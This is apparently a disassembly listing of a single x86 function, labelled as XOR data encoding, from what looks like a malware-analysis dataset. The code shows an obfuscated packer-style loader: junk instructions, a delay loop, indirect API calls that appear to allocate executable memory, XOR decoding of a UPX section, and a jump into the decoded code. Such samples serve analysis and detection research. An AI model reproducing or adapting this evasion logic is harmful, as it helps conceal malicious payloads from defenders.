Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3ee68bff
dec esi
and esi, esi
mov esi, 0xa7d93b79
popal
sub esi, ecx
not esi
mov ecx, 0x4e2beb3f
mov eax, 0
mov ebx, edx
add ecx, 0xe7a2f406
sub edi, ecx
mov esi, ebx
or edi, edi
mov edi, ecx
add ecx, 0x220327be
mov edx, esi
not ecx
not ecx
add eax, 1
or edi, edi
sub ecx, 1
cmp eax, 0x100c348
jne 0xa789c9
add ecx, ecx
mov edi, 0xeca8d59d
not edi
inc esi
add esi, 0xd3c1258b
and ecx, esi
mov edx, 0xa78796
or ecx, esi
dec eax
mov edi, 0xa7898a
sub esi, eax
and ecx, eax
or ecx, eax
mov ebx, dword [edx]
not esi
add eax, ecx
and ebx, 0xff
add eax, ecx
not eax
xor dword [edi], ebx
mov eax, 0x84dc3eac
mov eax, 0x44f97724
mov ecx, 0x679f3a24
inc edi
add ecx, 0x6c45c767
and esi, ecx
inc edx
mov ecx, esi
mov esi, 0xa80ba10b
cmp edi, entry0
jl 0xa78a24
sub ecx, 0x588a9cdd
and ecx, eax
or ecx, ecx
dec ecx
or eax, esi
and esi, esi
not edi
add edx, 1
mov ebx, 0xa7898e
sub edi, 1
or edi, edx
mov ebx, dword [ebx]
and ecx, edi
mov ecx, esi
mov ebx, dword [ebx]
not esi
dec edx
sub esp, 4
mov dword [esp], ebx
sub ecx, edi
not edx
dec edx
mov ebx, 0xa7898a
inc ecx
sub ecx, 0xbf471ef6
mov ebx, dword [ebx]
or edi, edx
mov edi, 0x11647437
mov ebx, dword [ebx]
mov edi, ecx
mov ecx, 0x861f1357
push 0xa78992
mov edx, 0x86bd5862
add edi, 0xba2adf29
call ebx
add esi, edi
and edi, esi
or ecx, ecx
pop ebx
add esi, 0x407bcdf3
add esi, 0x35daee07
not ecx
push 0xa7899f
add esi, edx
mov edi, edx
push eax
or edi, esi
or esi, edx
sub edi, 0x8fdc0a94
call ebx
sub esi, 0x31768e39
or edx, ecx
sub esp, 4
mov dword [esp], 0x40
mov edx, edi
add esi, esi
push 0x3000
add edx, edx
dec esi
or ecx, ecx
push 0x20000f45
not esi
add ecx, esi
sub esp, 4
mov dword [esp], 0
not esi
not edi
call eax
and edx, esi
not edi
add eax, 0x20000ec5
dec esi
mov edi, 0xfb3c7df4
dec edx
mov ebx, 0x4e1726af
add ecx, esi
sub edx, 1
mov dword [eax], ebx
sub esi, 0xca7c86fe
not edx
mov edx, 0xbb2d4b55
mov ebx, dword [eax]
sub edi, 0x21f82b4f
or esi, edx
cmp ebx, 0x4e1726af
je 0xa78b76
mov ebx, 0
mov dl, byte [ebx]
add esi, 0x8f710cba
dec esi
sub esi, 0x186bdc45
add edi, ecx
sub edi, esi
dec ecx
and ecx, esi
or ecx, esi
mov eax, section.UPX1
mov ecx, 0x366dceac
add ecx, 0xc62f38b8
mov esi, ecx
mov edi, 0xa78795
dec esi
mov esi, ecx
mov edx, 0
add ecx, ecx
sub ecx, esi
sub esi, 0xd4bb9d8b
mov ebx, 0xa78796
sub esi, 0x1e0bc6a4
add ecx, 0xd847480e
lea ebx, [ebx + edx]
inc esi
sub esi, 0x42ea27c7
mov esi, 0xb035ffdc
mov ebx, dword [ebx]
add ecx, 0xd7c4a9ec
add esi, 0x906f25d9
and ebx, 0xff
sub ecx, esi
add ecx, 0xf0dc7104
inc edx
sub ecx, 0x7138fc56
sub esi, ecx
and ecx, esi
cmp edx, 0x1f4
jne 0xa78c09
mov edx, 0
or ecx, ecx
add ecx, 0x56769c45
or esi, ecx
and esi, esi
or ecx, esi
xor dword [eax], ebx
sub ecx, esi
sub ecx, esi
sub esi, ecx
add eax, 2
sub ecx, 0x23046d8b
and esi, esi
add ecx, 0xe8c6fe41
cmp eax, edi
jl 0xa78bb5
inc ecx
mov esi, 0xb3cc4051
not esi
not esi
add esi, esi
mov ecx, section.UPX1
dec edx
not eax
mov esi, section.UPX1
mov edx, 0x98613cde
add eax, eax
sub edx, eax
mov edi, 0xa78795
sub edx, 1
add eax, 1
mov ebx, 0
or eax, edx
add eax, 0xdbd0e792
mov bl, byte [esi]
mov edx, eax
and eax, edx
mov byte [ecx], bl
mov eax, 0x1f33041f
add edx, eax
add ecx, 1
mov edx, 0x25e3aa8a
mov eax, edx
sub edx, eax
add esi, 2
dec eax
add eax, 0x199d2c00
cmp esi, edi
jle 0xa78c7b
dec eax
inc eax
sub ecx, 0x74f6e173
or esi, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ecx, esi
and ecx, esi
ret